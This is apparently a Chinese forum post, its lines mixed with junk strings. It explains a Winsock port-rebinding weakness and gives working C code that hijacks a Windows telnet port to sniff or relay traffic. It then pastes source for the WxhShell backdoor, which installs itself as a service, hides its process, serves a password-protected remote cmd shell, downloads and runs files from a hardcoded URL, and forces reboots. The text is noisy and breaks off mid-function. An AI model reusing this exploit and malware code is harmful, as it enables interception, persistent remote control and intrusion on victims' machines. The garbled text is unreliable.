在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
asg>TOW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$<v_Vm?6d OLrD4 e saddr.sin_family = AF_INET;
K>[H@|k\k
GHy#D]Z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
K(gj6SrjV mV,R0olF bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
^NDX4d; qN@a<row&~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
to3J@:V8e [R4x[36Zp 这意味着什么?意味着可以进行如下的攻击:
?_aR-[XRg `dP+5u! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0Mg8{ ~8*oGG~s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^{:jY, ?] D,\=zX; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
pr txE&- k`TJ<Dv; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
opMUt,4 KIo}Gd& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>Mw &Tw}o #ja`+w} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
P0xLx SbZt\a 8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Nz*sD^SJa :OCuxSc%5 #include
U*Qq5=dqD #include
'c&@~O;^d #include
4_+Pv6 #include
+5[oY,^cO DWORD WINAPI ClientThread(LPVOID lpParam);
-kbm$~P int main()
}4SSo)Uv/ {
Y/H^*1 WORD wVersionRequested;
xXZKj DWORD ret;
pFTlhj)1 WSADATA wsaData;
n=? 0g;1! BOOL val;
P]"deB| SOCKADDR_IN saddr;
P/Kit?kngS SOCKADDR_IN scaddr;
hFMst%:y$ int err;
V:BX"$J1 SOCKET s;
nud=uJ"( SOCKET sc;
iIaT1i4t. int caddsize;
9T2A)a]0 HANDLE mt;
zpqGh DWORD tid;
*W12Rb2 wVersionRequested = MAKEWORD( 2, 2 );
#}dVaXY) err = WSAStartup( wVersionRequested, &wsaData );
6 1W/BU7O if ( err != 0 ) {
hG7S]\N_ printf("error!WSAStartup failed!\n");
VONAw3k7! return -1;
P0e ""9JOo }
TE%#$q saddr.sin_family = AF_INET;
ttaQlEa=Z Q)`gPX3F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
uxyTu2L7 45sxF?GSwL saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}m%?&c saddr.sin_port = htons(23);
`QdQ?9x{F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*xg`Kwl5Kl {
9xn23*Fo printf("error!socket failed!\n");
ceZ8}Sh return -1;
K3:|Tc( }
^}Qj} val = TRUE;
4iNbK~5j //SO_REUSEADDR选项就是可以实现端口重绑定的
99"[b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
hNnX-^J<o {
`E5"Pmg printf("error!setsockopt failed!\n");
P5>5ps"iU return -1;
`%M-7n9Y }
!?o$-+a| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^YR|WK Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
oD#>8Aw s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
kq~[k. rEyz|k: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,LW+7yD {
c5E#QV0&v~ ret=GetLastError();
[OZ=iz. printf("error!bind failed!\n");
rN1U.FRe/ return -1;
-
SS r }
~sIGI?5f listen(s,2);
[z% ?MIT while(1)
zk5=Opmvh {
"6N~2q,SW caddsize = sizeof(scaddr);
,.jHV //接受连接请求
7grt4k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Bw<zc=% if(sc!=INVALID_SOCKET)
x} &a{; {
]hE+$sKd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.S!>9X,
if(mt==NULL)
5m^Hi}S_ {
4b2mtLn_ printf("Thread Creat Failed!\n");
Mf:M3H%YV+ break;
BKQIo)g.G }
/Y[o=Uyl }
-nk#d%a\ CloseHandle(mt);
TcD[Teu }
FU\/JF.j closesocket(s);
LR3`=Z9 WSACleanup();
~#"7,r Qp return 0;
)ojx_3j8 }
Nxb\[ DWORD WINAPI ClientThread(LPVOID lpParam)
E-sSRt {
:,NFFN SOCKET ss = (SOCKET)lpParam;
e" Eqi- SOCKET sc;
qsihQd unsigned char buf[4096];
/&$"}Z6z SOCKADDR_IN saddr;
TTZ['HP
oI long num;
1a&/Zlr DWORD val;
5'X74` DWORD ret;
K)/!&{7n}a //如果是隐藏端口应用的话,可以在此处加一些判断
%e
Sm&` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y98JiNq saddr.sin_family = AF_INET;
cXS;z.M\_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0AK?{y U saddr.sin_port = htons(23);
jQ_dw\
{0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*O+R|Cdp/ {
>;
&s['H printf("error!socket failed!\n");
PNbcy!\U return -1;
#9D/jYK1X }
.QXG"R val = 100;
>'aG/( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d$fvg8^ {
"($Lx ret = GetLastError();
9jO`gWxV8* return -1;
&_9YLXtMi; }
'u(=eJ@1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[J)/Et {
C5es2!^-]O ret = GetLastError();
"H>r-cyh return -1;
jq57C}X}2 }
E3S%s if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|5=~(-I>@ {
nAo8uWG printf("error!socket connect failed!\n");
d"B@c;dD closesocket(sc);
J}Qs"+x closesocket(ss);
s~=KhP~ return -1;
qr)v'aC3 }
=[]x\&@t while(1)
1l/AKI(! {
4>4V-m\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
;w`sz. //如果是嗅探内容的话,可以再此处进行内容分析和记录
*A?8F"6> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{ExII<=6 num = recv(ss,buf,4096,0);
h@*lWi2K7 if(num>0)
qDnCn H send(sc,buf,num,0);
*.,"N} else if(num==0)
O87"[c`> break;
{ p1lae num = recv(sc,buf,4096,0);
v:rD3=M- if(num>0)
6exI_3A4jh send(ss,buf,num,0);
<nDNiM# else if(num==0)
(U|)xA]y! break;
dqqnCXYuW }
vv+TKO closesocket(ss);
F:M>z= closesocket(sc);
6xH;:B)d return 0 ;
X=v~^8M7% }
&Nc[$H7< )@}A
r }m6f^fs} ==========================================================
?gLR<d_ [IiwN qZ[~ 下边附上一个代码,,WXhSHELL
,YjxCp3 u`'ki7LA ==========================================================
>M?H79fF2s !|:RcH[ #include "stdafx.h"
$hh+0hs :?HSZocf #include <stdio.h>
%'N$lF"] #include <string.h>
!*&4< _ #include <windows.h>
Z6
;Wd_ #include <winsock2.h>
O\6vVM[ #include <winsvc.h>
B!eK!B #include <urlmon.h>
oJ ^C]E oZgHSR RL #pragma comment (lib, "Ws2_32.lib")
kMM'[w #pragma comment (lib, "urlmon.lib")
jcE Msc 'KH
lrmnr #define MAX_USER 100 // 最大客户端连接数
.iFViVZC #define BUF_SOCK 200 // sock buffer
^6Yd} #define KEY_BUFF 255 // 输入 buffer
6\NvG,8 -*?p F_*w #define REBOOT 0 // 重启
R"@7m!IA #define SHUTDOWN 1 // 关机
v@VLVf)>9^ HLVQ7 #define DEF_PORT 5000 // 监听端口
&x`&03X FJ{=2]x| #define REG_LEN 16 // 注册表键长度
jz*0`9&_ #define SVC_LEN 80 // NT服务名长度
(~h7rAEc k@S)j< // 从dll定义API
'=VH6@vZ_' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>tN5vWW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
wHf&R3fg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
S+r^B?a<oM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0!pJ5q ,A wfE^Sb3 // wxhshell配置信息
~p:?QB>1]
struct WSCFG {
6
jmrD int ws_port; // 监听端口
yE#g5V& char ws_passstr[REG_LEN]; // 口令
4sTMgBzw int ws_autoins; // 安装标记, 1=yes 0=no
!x>,N%~ char ws_regname[REG_LEN]; // 注册表键名
69>/@< char ws_svcname[REG_LEN]; // 服务名
ymYBm:" char ws_svcdisp[SVC_LEN]; // 服务显示名
:$Q`>k7A char ws_svcdesc[SVC_LEN]; // 服务描述信息
1Pm4.C) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
V\0E=M*P int ws_downexe; // 下载执行标记, 1=yes 0=no
8) HBh7/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
H<g 1m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/jM_mrpz i0>]CJG };
!$_~x
8K1- ?\ZL#)hr"p // default Wxhshell configuration
yNBv-oe5 struct WSCFG wscfg={DEF_PORT,
<:">mV+/ "xuhuanlingzhe",
e!GZSk
1,
YxXqI "Wxhshell",
9UV9h_.x "Wxhshell",
U9
#w "WxhShell Service",
=-w;zx "Wrsky Windows CmdShell Service",
hUh+JW "Please Input Your Password: ",
eIH$"f;L 1,
28a$NP\KW "
http://www.wrsky.com/wxhshell.exe",
{=67XrWN1 "Wxhshell.exe"
_g~2R#2Q };
?E6^!4=, 7tRi"\[5 // 消息定义模块
4ZwKpQ6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
z8E1 m" char *msg_ws_prompt="\n\r? for help\n\r#>";
0Qnd6mb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
vy[C'a char *msg_ws_ext="\n\rExit.";
-}P7$|O& char *msg_ws_end="\n\rQuit.";
Q,gLi\siI char *msg_ws_boot="\n\rReboot...";
E$A3|rjnoN char *msg_ws_poff="\n\rShutdown...";
:S -";.:" char *msg_ws_down="\n\rSave to ";
xR?V,uV'$& I`T1Pll char *msg_ws_err="\n\rErr!";
Qs%B'9") char *msg_ws_ok="\n\rOK!";
p$Hi[upy I-DXb
M char ExeFile[MAX_PATH];
`XJm=/f int nUser = 0;
X:|8vS+0gU HANDLE handles[MAX_USER];
F'FP0t!S int OsIsNt;
6@V~0DG >P=Q #;v SERVICE_STATUS serviceStatus;
K\u_Ji]k SERVICE_STATUS_HANDLE hServiceStatusHandle;
.X'p q5 n<7u>;SJQ // 函数声明
,eRQu. int Install(void);
5)UQWnd5 int Uninstall(void);
|ZiC`Nt int DownloadFile(char *sURL, SOCKET wsh);
sOpep int Boot(int flag);
bm#(? void HideProc(void);
oyvKag int GetOsVer(void);
[9o4hw int Wxhshell(SOCKET wsl);
=a}b+(R void TalkWithClient(void *cs);
VUwC-) int CmdShell(SOCKET sock);
2VoKr) int StartFromService(void);
t9cl"F= int StartWxhshell(LPSTR lpCmdLine);
Qdf=XG5 -7{$Vj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,xfO;yd VOID WINAPI NTServiceHandler( DWORD fdwControl );
MTOy8 Im `5~3G2T // 数据结构和表定义
i+{yMol1 SERVICE_TABLE_ENTRY DispatchTable[] =
OLC{iD# {
sN6N >{ {wscfg.ws_svcname, NTServiceMain},
~j9O$s~) {NULL, NULL}
x@Hd^xH` };
0#cy=*E ]#2Y e7+ // 自我安装
/Q{P3:k int Install(void)
XB59Vm0E= {
36.N>G, char svExeFile[MAX_PATH];
Pr ]Ka HKEY key;
OTDg5:> strcpy(svExeFile,ExeFile);
G 2!xPHz u8GMUN // 如果是win9x系统,修改注册表设为自启动
Xx:F)A8O if(!OsIsNt) {
!> }.~[M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wV\gj~U;P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d5 7i)= RegCloseKey(key);
<FI-zca if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ma'FRt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!V2/A1? RegCloseKey(key);
sZGj"_-Hzu return 0;
6Htg5o|W }
F#
T 07< }
\;u@ " }
qt%D' else {
b` Hz$8 O3DmNq$dz // 如果是NT以上系统,安装为系统服务
a2Pf/D]n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,JU@|` if (schSCManager!=0)
G)v
#+4 {
:+Om]#`Vls SC_HANDLE schService = CreateService
Jc&y9]
(
^j#rZ;uc
schSCManager,
U8qtwA9t wscfg.ws_svcname,
#jA[9gWI wscfg.ws_svcdisp,
]$b[`g& SERVICE_ALL_ACCESS,
=0uAE7q(9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&nBa=Enf SERVICE_AUTO_START,
^uv<6 SERVICE_ERROR_NORMAL,
[ i#zP svExeFile,
b)(?qfXWP NULL,
*HEuorl NULL,
@2'Mt}R> NULL,
7i&:DePM'q NULL,
{43>m)8+ NULL
rV08ad );
}!IL]0q if (schService!=0)
aaD;jxT&M| {
9]q:[zm^ CloseServiceHandle(schService);
T)r9-wOq CloseServiceHandle(schSCManager);
Xy5e5K strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8\:NMP8W\ strcat(svExeFile,wscfg.ws_svcname);
r@ZJ{4\Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!%$`Eq)M^7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
L:@7tc. RegCloseKey(key);
U8
nH;}i return 0;
9k{PBAP }
-[-wkC8a }
/Q~i~B 2j- CloseServiceHandle(schSCManager);
S~|T4q( }
JQ"U4GVp }
,G)r=$XU R?]02Q return 1;
8@tV9+u }
thhwN
A K.0:C`C // 自我卸载
M3q|l7|9 int Uninstall(void)
uCcYPvm {
<u2 }i<# HKEY key;
*c2YRbU( o_~eg8 if(!OsIsNt) {
?nL.w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OOo3G~2r RegDeleteValue(key,wscfg.ws_regname);
lz?$f4TzA RegCloseKey(key);
\RG8{G, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*+#8mA( RegDeleteValue(key,wscfg.ws_regname);
,=[?yJy RegCloseKey(key);
`9BROZnq return 0;
o6uJyCO }
9@Jtaq>jf }
Hhcpp7cr' }
rp;b" q else {
}F#okU ,Pdf,2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
uo@n(>}EL if (schSCManager!=0)
'2 PF {
fR(d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
uc){+'[ if (schService!=0)
?M\{&mlF {
*=V~YF:Qb if(DeleteService(schService)!=0) {
#
mV{#B= CloseServiceHandle(schService);
9[.8cg* CloseServiceHandle(schSCManager);
,)vDeU return 0;
_I:/ZF5 }
x$6^R q>2 CloseServiceHandle(schService);
vzim<;i }
E2Q[ZoVS CloseServiceHandle(schSCManager);
{?:X8&Sf }
Hl{S]]z }
sTn<#l6 hHV";bk return 1;
e,W%uH>X }
NTYg[VTr ,F,X
, // 从指定url下载文件
m}7iTDJR9 int DownloadFile(char *sURL, SOCKET wsh)
hhCrUn" {
EK6:~ HRESULT hr;
Bu#VMkchJ char seps[]= "/";
wAf\|{Vn char *token;
qVH1}9_ char *file;
<
HVl(O char myURL[MAX_PATH];
]~'5\58sP char myFILE[MAX_PATH];
(>nGQS]H w9< R#y[A strcpy(myURL,sURL);
&L'Dqew,* token=strtok(myURL,seps);
Vf]
"L.G while(token!=NULL)
A#EDkU,
{
: y%d file=token;
S[PE$tYT#t token=strtok(NULL,seps);
;:\<gVi: }
;$.J3! `d5%.N GetCurrentDirectory(MAX_PATH,myFILE);
l]Ax : Z strcat(myFILE, "\\");
A kC1z73< strcat(myFILE, file);
TQpf Q send(wsh,myFILE,strlen(myFILE),0);
J}v}~Cv send(wsh,"...",3,0);
C~2F9Pg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
kmP]SO?tx if(hr==S_OK)
2bw_IT return 0;
2$+bJJM else
itBwCIj G return 1;
TN+iA~kQ ,|y:" s }
tn(JC%?^ B-ngn{Yc // 系统电源模块
*>7 >g" int Boot(int flag)
{< )1q ; {
#U!
_U+K HANDLE hToken;
I,>-t GK TOKEN_PRIVILEGES tkp;
7}f}$1
8m2Tk\;: if(OsIsNt) {
\<JSkr[h!" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Dz>^IMsY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m0ER@BXRn tkp.PrivilegeCount = 1;
^1iSn)& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,k )w6) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
e6@=wnoX u if(flag==REBOOT) {
QM5R`i{r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]
o*#t return 0;
xST8|H }
#hfXZVD else {
zi|+HM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rI= v return 0;
|=Eo?Q_ }
Cn'(<bl }
'&x#rjo# else {
|'P]GK if(flag==REBOOT) {
)97SnCkal if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{@6=Q 6L return 0;
X 0WJBEE }
|n+qMql' else {
sy:[T T!w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
iHeN9 cl return 0;
z:8eEq3w }
qkt0**\ }
=
s>T;| Vq2y4D? return 1;
wQqb`l7+ }
Isvx7$Vu+ 6h|q'.Y // win9x进程隐藏模块
*w^C"^* void HideProc(void)
PmkR3<=leg {
\Jx04[= KK&rb~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Aw}"gpL if ( hKernel != NULL )
od IV:( {
d/PiiiFf, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
x'+T/zw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
.>=(' - FreeLibrary(hKernel);
<e Th }
7&t-pv92* <'qeXgi return;
![`Ay4AZ@a }
vI:;A/& 'FqQzx"r // 获取操作系统版本
?oVx2LdD| int GetOsVer(void)
13 =A {
[$qyF|/K`n OSVERSIONINFO winfo;
v25R_""~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4" Cb/y3 GetVersionEx(&winfo);
"S8uoSF`> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gp5_Z-me return 1;
*,e:]!* else
]JCvyz
H
return 0;
zz+$=(T:M }
KC/=TSSXd. &M46&^Jho // 客户端句柄模块
kStnb?nk int Wxhshell(SOCKET wsl)
5Sm}nH {
(61EDKNd9 SOCKET wsh;
*^g:P^4 struct sockaddr_in client;
)Q1"\\2j0 DWORD myID;
6g 5#TpCh ^A!Qc=#z} while(nUser<MAX_USER)
< vL,*.zd {
1;C+$ int nSize=sizeof(client);
=Q+;=-1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
NG--6\ if(wsh==INVALID_SOCKET) return 1;
d:#yEC _2hS";K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SG6kud\b if(handles[nUser]==0)
&|Bc7+/P closesocket(wsh);
A#Iyb){Y else
[BWNRC1 nUser++;
-wp|RD,}( }
Lhl]g^SN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BUWqIdg Jy)KqdkX+ return 0;
D ~stM }
`7[EKOJ3g 5"CZh.J // 关闭 socket
igIRSN}h void CloseIt(SOCKET wsh)
q"%_tS {
5>CEl2mSl closesocket(wsh);
zDw5]*R nUser--;
24E}<N,g ExitThread(0);
/JFUU[W }
`7 vHt` :Pvzl1 // 客户端请求句柄
gYNjzew' void TalkWithClient(void *cs)
1$D_6U:H0 {
lt
^GvWg FoNSM$x SOCKET wsh=(SOCKET)cs;
2/?`J char pwd[SVC_LEN];
mR&H9NG char cmd[KEY_BUFF];
c#|raXGT char chr[1];
nH`Q#ZFz]? int i,j;
{t0)
q =7w\
7-.m while (nUser < MAX_USER) {
Rtb7| K@sV\"U(*E if(wscfg.ws_passstr) {
,24p%KJ*X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}@;ep&b* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
UELy"z
R //ZeroMemory(pwd,KEY_BUFF);
'JCZ]pZ i=0;
VXYK?Qc' while(i<SVC_LEN) {
S& SQ OHeT,@(mh // 设置超时
j<Bkj/ fd_set FdRead;
)we}6sE" struct timeval TimeOut;
.} q&5v FD_ZERO(&FdRead);
6HZ` .o:f FD_SET(wsh,&FdRead);
]Bcp;D TimeOut.tv_sec=8;
E;Y;z TimeOut.tv_usec=0;
M!/Cknm int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]!I7Y.w6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$*AYcy7 %5eY' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2>cGH7EBD pwd
=chr[0]; 5MN8D COF
if(chr[0]==0xd || chr[0]==0xa) { v-#Q7T
pwd=0; #pb92kA'
break; e4!:c^?
} X' d9[).
i++; $ {O#
} Km(n7Ah"
j7jCm:
// 如果是非法用户,关闭 socket ;%<,IdhN
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6kNrYom
} !9[>L@#G
i(AT8Bo2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _J Hd9)[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `+o2DA)#(
d Vj_8>
while(1) { z2g3FUTX)b
VKq=7^W
ZeroMemory(cmd,KEY_BUFF); =T(6#"
N>XS=2tzN
// 自动支持客户端 telnet标准 $})g?Q
j=0; r[BVvX/,F
while(j<KEY_BUFF) { l8I /0`_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); swK-/$#
cmd[j]=chr[0]; G&i!Hs
if(chr[0]==0xa || chr[0]==0xd) { (#Wu#F1;
cmd[j]=0; 1DE1.1
break; ;A]@4*q
} {@+Ty]e
j++; 0s/w,?
} Hkwl>R$
#73F}
tZ^
// 下载文件 i.3=!6z
if(strstr(cmd,"http://")) { P{wF"vf
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F<qz[,]|-j
if(DownloadFile(cmd,wsh)) %k;|\%B`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Tn- >).AO
else do*EKo
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \#Pfj&*
} )XvilCk1
else { ) L#i%)+
!a7[8&
switch(cmd[0]) { l038%U~U!
h| ,:e;>}
// 帮助 6LalW5I
case '?': { BI3@|,._N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k< y>)
break; \.-}adKg
} Nv(9N-9r
// 安装 ~8GF Q ph
case 'i': { XZ^^%*ew
if(Install()) {ys=Ndo8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \QYFAa
else 5*Y^\N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d@5[B0eH
break; L<ue$'
} 1][4.}?F[
// 卸载 )}"wesNo".
case 'r': { _#r+ !e
if(Uninstall()) E`?3PA8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [co% :xJu
else gP0LCK>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bj1?x
break; {]%0lf:
} \l9qt5rS
// 显示 wxhshell 所在路径 0:9.;x9_
case 'p': { @GdbTd
char svExeFile[MAX_PATH]; ";3zXk[#
strcpy(svExeFile,"\n\r"); Qa-K$dm%
strcat(svExeFile,ExeFile); sj HrPs e
send(wsh,svExeFile,strlen(svExeFile),0); v":x4!kdX
break; b:tob0TB
} Zc
W:6po>
// 重启 7Rd'm'l)
case 'b': { {bJ`~b9e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4nh>'v%pD
if(Boot(REBOOT)) W g02 A\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OmIg<v0\;
else { DXJ`oh
closesocket(wsh); BYVY)<v/
ExitThread(0); q,93nhs "
} *X+79vG:
break; }a/x._[s
} J&.{7YF
// 关机 PIdikA
case 'd': { ?4q4J8j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qo;zHZ'
if(Boot(SHUTDOWN)) VJickXA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {<R2UI5m5
else { YoBPLS`K
closesocket(wsh); VQ7*Z5[1
ExitThread(0); B9NWW6S
} 19E8'@
break; tt0f-:#
} @zU6t|mhz
// 获取shell .J)I | '
case 's': { 6W]9$n\"?
CmdShell(wsh); +trC,D
closesocket(wsh); +
HK8jCa
ExitThread(0); i36eBjT
break; SL#0kc0x
} hc>HQrd
// 退出 P<X\%_Iat
case 'x': { 3?V_BUoON
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c'%-jG)\
CloseIt(wsh); SYCEQ5
-
break; _B/dWA,P
} .Le?T&_
// 离开 WtG~('g>&
case 'q': { @+Si?8\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); BJM.iXU)[
closesocket(wsh); k1{K*O$e
WSACleanup(); wt!nMQ
exit(1); /s@o Z{h
break; VyzS^AHK
} e4H A7=z
} ew#B[[
} xv(9IEjt0
G6/p1xy>o:
// 提示信息 |iE50,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dQV;3^iUY
} YQHw1
} . 1KhBgy^K
d1AioQ9
return; iOU6V
} mz,
NG "C&v
// shell模块句柄 r'^Hg/Jzt
int CmdShell(SOCKET sock) G,o6292hj
{ E"qRw_
~t
STARTUPINFO si; &cxRD
ZeroMemory(&si,sizeof(si)); Y9uC&/_C
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $c]fPt"i
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @k,z:~[C=
PROCESS_INFORMATION ProcessInfo; /Z~<CbKKl
char cmdline[]="cmd"; wy0tgy(' |
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gl\\+VyU
return 0; /?@3.3sl_
} pGJ>O/%
uE%r/:!k4$
// 自身启动模式 ([SU:F!uW(
int StartFromService(void) }001K
{ sf)EMh3Z
typedef struct o]yl;I
{ QZ6D7tUc8
DWORD ExitStatus; pR(jglm7-
DWORD PebBaseAddress; NidIVbT.A
DWORD AffinityMask; v|uAzM{73
DWORD BasePriority; ABQ('#78
ULONG UniqueProcessId; ';3{T:I
